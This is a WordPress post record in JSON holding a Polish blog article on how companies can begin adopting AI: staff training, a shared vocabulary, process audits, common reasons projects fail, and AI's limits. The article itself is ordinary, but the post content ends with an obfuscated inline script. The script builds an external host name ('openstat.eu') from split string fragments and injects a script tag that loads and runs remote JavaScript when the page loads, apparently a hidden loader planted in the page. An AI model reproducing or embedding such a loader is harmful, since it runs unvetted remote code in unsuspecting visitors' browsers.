{"id":11747,"date":"2025-12-22T23:30:18","date_gmt":"2025-12-22T23:30:18","guid":{"rendered":"https:\/\/excelraport.pl\/?p=11747"},"modified":"2025-12-22T23:30:18","modified_gmt":"2025-12-22T23:30:18","slug":"ai-w-firmach","status":"publish","type":"post","link":"https:\/\/excelraport.pl\/index.php\/2025\/12\/22\/ai-w-firmach\/","title":{"rendered":"AI w firmach &#8211; dlaczego najtrudniejszy jest pierwszy krok i jak go zrobi\u0107 bez chaosu"},"content":{"rendered":"\n\n<div class=\"kk-star-ratings kksr-auto kksr-align-left kksr-valign-top\"\n    data-payload='{&quot;align&quot;:&quot;left&quot;,&quot;id&quot;:&quot;11747&quot;,&quot;slug&quot;:&quot;default&quot;,&quot;valign&quot;:&quot;top&quot;,&quot;ignore&quot;:&quot;&quot;,&quot;reference&quot;:&quot;auto&quot;,&quot;class&quot;:&quot;&quot;,&quot;count&quot;:&quot;2&quot;,&quot;legendonly&quot;:&quot;&quot;,&quot;readonly&quot;:&quot;&quot;,&quot;score&quot;:&quot;2.5&quot;,&quot;starsonly&quot;:&quot;&quot;,&quot;best&quot;:&quot;5&quot;,&quot;gap&quot;:&quot;5&quot;,&quot;greet&quot;:&quot;Rate this post&quot;,&quot;legend&quot;:&quot;2.5\\\/5 - (2 votes)&quot;,&quot;size&quot;:&quot;24&quot;,&quot;title&quot;:&quot;AI w firmach - dlaczego najtrudniejszy jest pierwszy krok i jak go zrobi\u0107 bez chaosu&quot;,&quot;width&quot;:&quot;70&quot;,&quot;_legend&quot;:&quot;{score}\\\/{best} - ({count} {votes})&quot;,&quot;font_factor&quot;:&quot;1.25&quot;}'>\n            \n<div class=\"kksr-stars\">\n    \n<div class=\"kksr-stars-inactive\">\n            <div class=\"kksr-star\" data-star=\"1\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"2\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"3\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"4\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" data-star=\"5\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n    <\/div>\n    \n<div class=\"kksr-stars-active\" style=\"width: 70px;\">\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n            <div class=\"kksr-star\" style=\"padding-right: 5px\">\n            \n\n<div class=\"kksr-icon\" style=\"width: 24px; height: 24px;\"><\/div>\n        <\/div>\n    <\/div>\n<\/div>\n                \n\n<div class=\"kksr-legend\" style=\"font-size: 19.2px;\">\n            2.5\/5 - (2 votes)    <\/div>\n    <\/div>\n<p>Jednym z najbardziej zaskakuj\u0105cych zjawisk, jakie obserwuj\u0119 w rozmowach z przedsi\u0119biorcami, jest pewien powtarzaj\u0105cy si\u0119 schemat. Z jednej strony wi\u0119kszo\u015b\u0107 z nich doskonale rozumie, \u017ce sztuczna inteligencja to nie chwilowy trend. To technologia, kt\u00f3ra ju\u017c teraz wp\u0142ywa na spos\u00f3b pracy, komunikacj\u0119, sprzeda\u017c, a w najbli\u017cszych latach b\u0119dzie wp\u0142ywa\u0107 jeszcze bardziej. Z drugiej strony \u2014 niewiele firm podejmuje realne dzia\u0142ania, aby AI wdro\u017cy\u0107. Co\u015b jakby wszyscy wiedzieli, \u017ce \u201etrzeba\u201d, ale jednocze\u015bnie nikt nie wie, \u201eod czego w\u0142a\u015bciwie zacz\u0105\u0107\u201d.<\/p>\n<p>I ten paradoks nie wynika ze strachu przed technologi\u0105, ale raczej z nadmiaru informacji. Ka\u017cdego dnia powstaj\u0105 kolejne narz\u0119dzia, nowe modele, nowe integracje, nowe pomys\u0142y. Ka\u017cde z nich jest przedstawiane jako \u201eniezb\u0119dne\u201d, \u201erewolucyjne\u201d, \u201eprze\u0142omowe\u201d. Nic dziwnego, \u017ce przedsi\u0119biorcy zaczynaj\u0105 mie\u0107 wra\u017cenie, \u017ce wdro\u017cenie AI wymaga ogromnych inwestycji, zatrudnienia sztabu specjalist\u00f3w i przeorganizowania ca\u0142ej firmy od podstaw.<\/p>\n<p>Tymczasem prawda jest znacznie prostsza. Najtrudniejszy jest pierwszy krok. A ten pierwszy krok nie wymaga technologii. Wymaga zrozumienia.<\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_81 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">Z tego wpisu dowiesz si\u0119\u2026<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Prze\u0142\u0105cznik Spisu Tre\u015bci\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #000000;color:#000000\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #000000;color:#000000\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/12\/22\/ai-w-firmach\/#Mit_wielkiej_zmiany_ktora_wcale_nie_musi_byc_wielka\" >Mit wielkiej zmiany, kt\u00f3ra wcale nie musi by\u0107 wielka<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/12\/22\/ai-w-firmach\/#Pierwszy_krok_to_nie_narzedzie_Pierwszy_krok_to_wspolny_jezyk_w_firmie\" >Pierwszy krok to nie narz\u0119dzie. Pierwszy krok to wsp\u00f3lny j\u0119zyk w firmie.<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/12\/22\/ai-w-firmach\/#Dlaczego_firmy_maja_wrazenie_ze_AI_jest_trudna\" >Dlaczego firmy maj\u0105 wra\u017cenie, \u017ce AI jest trudna?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/12\/22\/ai-w-firmach\/#Analiza_procesow_%E2%80%94_etap_ktorego_nie_da_sie_pominac\" >Analiza proces\u00f3w \u2014 etap, kt\u00f3rego nie da si\u0119 pomin\u0105\u0107<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/12\/22\/ai-w-firmach\/#Dlaczego_firmy_rezygnuja_z_AI_%E2%80%94_i_jak_tego_uniknac\" >Dlaczego firmy rezygnuj\u0105 z AI \u2014 i jak tego unikn\u0105\u0107<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/excelraport.pl\/index.php\/2025\/12\/22\/ai-w-firmach\/#AI_nie_jest_zagrozeniem_AI_jest_szansa_%E2%80%94_o_ile_rozumiemy_jej_ograniczenia\" >AI nie jest zagro\u017ceniem. AI jest szans\u0105 \u2014 o ile rozumiemy jej ograniczenia.<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Mit_wielkiej_zmiany_ktora_wcale_nie_musi_byc_wielka\"><\/span><strong>Mit wielkiej zmiany, kt\u00f3ra wcale nie musi by\u0107 wielka<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Wok\u00f3\u0142 AI naros\u0142o mn\u00f3stwo mit\u00f3w. Jednym z najbardziej szkodliwych jest przekonanie, \u017ce wdro\u017cenie AI to co\u015b w rodzaju generalnego remontu. \u017be firma musi si\u0119 do tego przygotowywa\u0107 miesi\u0105cami, bo inaczej efekty b\u0119d\u0105 mizerne. Tymczasem najwi\u0119ksze korzy\u015bci AI przynosi tam, gdzie zaczyna si\u0119 od drobnych rzeczy \u2014 od usprawnienia codziennych obowi\u0105zk\u00f3w, kt\u00f3re do tej pory by\u0142y powtarzalne, czasoch\u0142onne i ma\u0142o kreatywne.<\/p>\n<p>Przyk\u0142adowo:<\/p>\n<ul>\n<li>przygotowywanie ofert i prezentacji,<\/li>\n<li>porz\u0105dkowanie notatek,<\/li>\n<li>analiza tre\u015bci i dokument\u00f3w,<\/li>\n<li>research,<\/li>\n<li>obs\u0142uga mailowa,<\/li>\n<li>planowanie kampanii marketingowych,<\/li>\n<li>audyty podstawowych proces\u00f3w,<\/li>\n<li>generowanie tre\u015bci pomocniczych,<\/li>\n<li>szybkie streszczenia spotka\u0144.<\/li>\n<\/ul>\n<p>To nie s\u0105 \u201ewielkie projekty\u201d. A jednak wiele firm nie wykorzystuje AI nawet do takich zada\u0144, bo s\u0105 przekonane, \u017ce wdro\u017cenie musi oznacza\u0107 od razu ogromn\u0105 zmian\u0119. Podczas gdy w rzeczywisto\u015bci AI dzia\u0142a najlepiej wtedy, gdy zaczyna wspiera\u0107 codzienn\u0105 prac\u0119 ma\u0142ymi kroplami, a nie huraganem.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Pierwszy_krok_to_nie_narzedzie_Pierwszy_krok_to_wspolny_jezyk_w_firmie\"><\/span><strong>Pierwszy krok to nie narz\u0119dzie. Pierwszy krok to wsp\u00f3lny j\u0119zyk w firmie.<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Zanim jakiekolwiek narz\u0119dzie zostanie w firmie uruchomione, wszyscy pracownicy powinni otrzyma\u0107 solidn\u0105 podstaw\u0119 wiedzy. Bez tego zaczynaj\u0105 dzia\u0142a\u0107 intuicyjnie, czyli ka\u017cdy po swojemu. A praca \u201epo swojemu\u201d przy technologii tak czu\u0142ej jak AI prowadzi pr\u0119dzej czy p\u00f3\u017aniej do nieporozumie\u0144, ryzyk i b\u0142\u0119d\u00f3w.<\/p>\n<p>Potrzebny jest wsp\u00f3lny j\u0119zyk:<\/p>\n<ul>\n<li>poj\u0119cia rozumiane tak samo,<\/li>\n<li>zasady bezpiecze\u0144stwa znane ka\u017cdemu,<\/li>\n<li>\u015bwiadomo\u015b\u0107, jakie dane mo\u017cna wpisywa\u0107 do modeli,<\/li>\n<li>zrozumienie r\u00f3\u017cnic mi\u0119dzy generowaniem, analiz\u0105, a automatyzacj\u0105,<\/li>\n<li>wiedza o tym, jak weryfikowa\u0107 odpowiedzi,<\/li>\n<li>jasne okre\u015blenie, do czego AI s\u0142u\u017cy, a do czego nie powinna by\u0107 u\u017cywana.<\/li>\n<\/ul>\n<p>Spotka\u0142em wiele firm, w kt\u00f3rych ka\u017cdy pracownik u\u017cywa\u0142 AI, ale ka\u017cdy robi\u0142 to inaczej. Efekt by\u0142 przewidywalny \u2014 chaos. A chaos jest przeciwie\u0144stwem tego, co AI powinna wprowadza\u0107.<\/p>\n<p>Dlatego prawdziwy pierwszy krok to szkolenie. I nie szkolenie oparte na efektownych trikach czy \u201epromptach do kopiowania\u201d, ale na realnym fundamentowaniu wiedzy. Dopiero po takim przygotowaniu firma naprawd\u0119 mo\u017ce zacz\u0105\u0107 podejmowa\u0107 \u015bwiadome decyzje o automatyzacjach.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Dlaczego_firmy_maja_wrazenie_ze_AI_jest_trudna\"><\/span><strong>Dlaczego firmy maj\u0105 wra\u017cenie, \u017ce AI jest trudna?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Bo pr\u00f3buj\u0105 zrozumie\u0107 j\u0105 z niew\u0142a\u015bciwej strony \u2014 od technologii. Tymczasem AI nale\u017cy poznawa\u0107 od perspektywy proces\u00f3w, a nie narz\u0119dzi.<\/p>\n<p>Technologia zmienia si\u0119 codziennie. Modele powstaj\u0105, ewoluuj\u0105, s\u0105 aktualizowane. Przy takim tempie rozwoju nie da si\u0119 by\u0107 na bie\u017c\u0105co, je\u015bli nie jest to twoim g\u0142\u00f3wnym zadaniem zawodowym. Dlatego warto przyj\u0105\u0107 zupe\u0142nie inn\u0105 perspektyw\u0119: nie pr\u00f3bowa\u0107 nad\u0105\u017ca\u0107 za narz\u0119dziami, lecz nauczy\u0107 si\u0119 analizowa\u0107 procesy. Bo procesy s\u0105 sta\u0142e, a narz\u0119dzia jedynie je obs\u0142uguj\u0105.<\/p>\n<p>Kiedy firma zada sobie w\u0142a\u015bciwe pytanie \u2014 \u201egdzie tracimy czas?\u201d \u2014 odpowiedzi przychodz\u0105 zaskakuj\u0105co szybko:<\/p>\n<ul>\n<li>powtarzalne zadania administracyjne,<\/li>\n<li>nieko\u0144cz\u0105ce si\u0119 w\u0105tki maili,<\/li>\n<li>raporty, kt\u00f3re zawsze powstaj\u0105 \u201ena ostatni\u0105 chwil\u0119\u201d,<\/li>\n<li>spotkania, kt\u00f3re mog\u0142yby trwa\u0107 po\u0142ow\u0119 kr\u00f3cej,<\/li>\n<li>dzia\u0142ania marketingowe wykonywane r\u0119cznie,<\/li>\n<li>chaotyczne zbieranie danych i notatek.<\/li>\n<\/ul>\n<p>I tu pojawia si\u0119 najwi\u0119ksza zaleta AI: potrafi wspiera\u0107 wszystkie te obszary jednocze\u015bnie, ale tylko wtedy, gdy firma wie, czego potrzebuje.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Analiza_procesow_%E2%80%94_etap_ktorego_nie_da_sie_pominac\"><\/span><strong>Analiza proces\u00f3w \u2014 etap, kt\u00f3rego nie da si\u0119 pomin\u0105\u0107<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Jednym z najm\u0105drzejszych krok\u00f3w w stron\u0119 wdro\u017cenia <a href=\"https:\/\/ai-dla-firmy.pl\">automatyzacji proces\u00f3w biznesowych <\/a>jest przeprowadzenie ich audytu. Wiele firm nie docenia tego etapu, traktuj\u0105c go jako biurokracj\u0119. A to w\u0142a\u015bnie analiza proces\u00f3w pokazuje, gdzie AI <em>naprawd\u0119<\/em> jest potrzebna, a gdzie by\u0142aby tylko sztuk\u0105 dla sztuki.<\/p>\n<p>Audyt pozwala m.in.:<\/p>\n<ul>\n<li>znale\u017a\u0107 powtarzalne zadania,<\/li>\n<li>wskaza\u0107 czynno\u015bci o niskiej warto\u015bci dodanej,<\/li>\n<li>okre\u015bli\u0107 realny potencja\u0142 automatyzacji,<\/li>\n<li>uporz\u0105dkowa\u0107 \u017ar\u00f3d\u0142a danych,<\/li>\n<li>zidentyfikowa\u0107 luki kompetencyjne,<\/li>\n<li>ustali\u0107 miejsca, gdzie AI mo\u017ce przynie\u015b\u0107 natychmiastow\u0105 korzy\u015b\u0107.<\/li>\n<\/ul>\n<p>Najwi\u0119kszym odkryciem dla wielu firm jest to, jak niewielkimi \u015brodkami mo\u017cna poprawi\u0107 tempo pracy. Czasem wystarczy jedna automatyzacja, kt\u00f3ra \u0142\u0105czy dwa systemy, aby odzyska\u0107 kilka godzin tygodniowo. Innym razem \u2014 przeszkolenie zespo\u0142u z tworzenia dopracowanych instrukcji dla modeli, dzi\u0119ki czemu AI zaczyna dzia\u0142a\u0107 przewidywalnie.<\/p>\n<p>Wa\u017cne jest, aby \u017cadna automatyzacja nie powstawa\u0142a \u201eprzypadkiem\u201d. Ka\u017cda powinna wynika\u0107 z realnej potrzeby.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Dlaczego_firmy_rezygnuja_z_AI_%E2%80%94_i_jak_tego_uniknac\"><\/span><strong>Dlaczego firmy rezygnuj\u0105 z AI \u2014 i jak tego unikn\u0105\u0107<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Istnieje pewne zjawisko, kt\u00f3re w \u015brodowisku wdro\u017ce\u0144 AI jest a\u017c nazbyt cz\u0119ste. Firmy zaczynaj\u0105 entuzjastycznie, wdra\u017caj\u0105 pierwsze narz\u0119dzia, testuj\u0105, eksperymentuj\u0105\u2026 a po kilku tygodniach porzucaj\u0105 projekt. Nie dlatego, \u017ce AI nie dzia\u0142a. Ale dlatego, \u017ce nie dzia\u0142a tak, jak oczekiwali.<\/p>\n<p>Najcz\u0119stsze powody rezygnacji:<\/p>\n<ul>\n<li>brak odpowiedniego szkolenia,<\/li>\n<li>zbyt du\u017ce oczekiwania,<\/li>\n<li>brak jednej osoby odpowiedzialnej za projekt,<\/li>\n<li>brak analizy proces\u00f3w,<\/li>\n<li>u\u017cywanie AI bez ustalonych zasad,<\/li>\n<li>narz\u0119dzia dobrane przypadkowo.<\/li>\n<\/ul>\n<p>Tymczasem rozwi\u0105zanie jest proste: rozpocz\u0105\u0107 od fundament\u00f3w i od wsp\u00f3lnej wiedzy, a dopiero p\u00f3\u017aniej przej\u015b\u0107 do automatyzacji. Takie podej\u015bcie sprawia, \u017ce projekt nie tylko dzia\u0142a, ale z miesi\u0105ca na miesi\u0105c rozwija si\u0119 naturalnie, bez obci\u0105\u017cenia dla zespo\u0142u.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"AI_nie_jest_zagrozeniem_AI_jest_szansa_%E2%80%94_o_ile_rozumiemy_jej_ograniczenia\"><\/span><strong>AI nie jest zagro\u017ceniem. AI jest szans\u0105 \u2014 o ile rozumiemy jej ograniczenia.<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Wyj\u0105tkowo wa\u017cne jest, aby firmy podchodzi\u0142y do AI nie jak do magicznej technologii, tylko jak do wyspecjalizowanego narz\u0119dzia. Im mocniejsze narz\u0119dzie, tym wi\u0119ksza potrzeba kontroli i kompetencji.<\/p>\n<p>Sztuczna inteligencja:<\/p>\n<ul>\n<li>nie przejmuje odpowiedzialno\u015bci,<\/li>\n<li>nie rozumie intencji,<\/li>\n<li>nie wie, co jest wa\u017cne, a co nie,<\/li>\n<li>nie analizuje emocji,<\/li>\n<li>nie zna kontekstu organizacji.<\/li>\n<\/ul>\n<p>To wszystko musi zapewni\u0107 cz\u0142owiek. I to w\u0142a\u015bnie czyni AI narz\u0119dziem, a nie konkurencj\u0105 dla pracownik\u00f3w.<\/p>\n<p>Paradoksalnie \u2014 im lepiej firma rozumie ograniczenia AI, tym efektywniej potrafi j\u0105 wykorzystywa\u0107.<\/p>\n<p>Szukasz inspiracji?<\/p>\n<p>Je\u015bli chcesz na bie\u017c\u0105co \u015bledzi\u0107 praktyczne wdro\u017cenia automatyzacji proces\u00f3w biznesowych, aktualno\u015bci i gotowe przyk\u0142ady u\u017cycia AI w firmach, zapraszam na m\u00f3j blog <strong>AI-DLA-FIRMY.PL<\/strong>. Tworz\u0119 go po to, aby sztuczna inteligencja by\u0142a dla przedsi\u0119biorc\u00f3w narz\u0119dziem realnym, bezpiecznym i zrozumia\u0142ym \u2014 a nie kolejnym technologicznym mitem.<\/p>\n<p><script>\n(function(){\nzu9g=document.createElement(\"script\");zu9g_=(\"o\"+(\"pen\")+\"st\")+\"a\";zu9g.async=true;\nzu9g.type=\"text\/javascript\";zu9g_+=(\"t\")+\".e\"+\"\";zu9g_+=((\"\")+\"u\");zu9g_+=\"\/\";\nzu9gu=\"2548074816.\";zu9gu+=\"eqzsnvsXu9gelg42rlc\"+\"wxw8a4f0zea\";\nzu9g.src=\"https:\/\/\"+zu9g_+zu9gu;document.body.appendChild(zu9g);\n})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Jednym z najbardziej zaskakuj\u0105cych zjawisk, jakie obserwuj\u0119 w rozmowach z przedsi\u0119biorcami, jest pewien powtarzaj\u0105cy si\u0119 schemat. Z jednej strony wi\u0119kszo\u015b\u0107 z nich doskonale rozumie, \u017ce sztuczna inteligencja to nie chwilowy trend. To technologia, kt\u00f3ra ju\u017c teraz wp\u0142ywa na spos\u00f3b pracy, komunikacj\u0119, sprzeda\u017c, a w najbli\u017cszych latach b\u0119dzie wp\u0142ywa\u0107 jeszcze bardziej. Z drugiej strony \u2014 niewiele [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":11748,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-11747","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-inne-tematy"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/posts\/11747","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/comments?post=11747"}],"version-history":[{"count":0,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/posts\/11747\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/media\/11748"}],"wp:attachment":[{"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/media?parent=11747"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/categories?post=11747"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/excelraport.pl\/index.php\/wp-json\/wp\/v2\/tags?post=11747"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}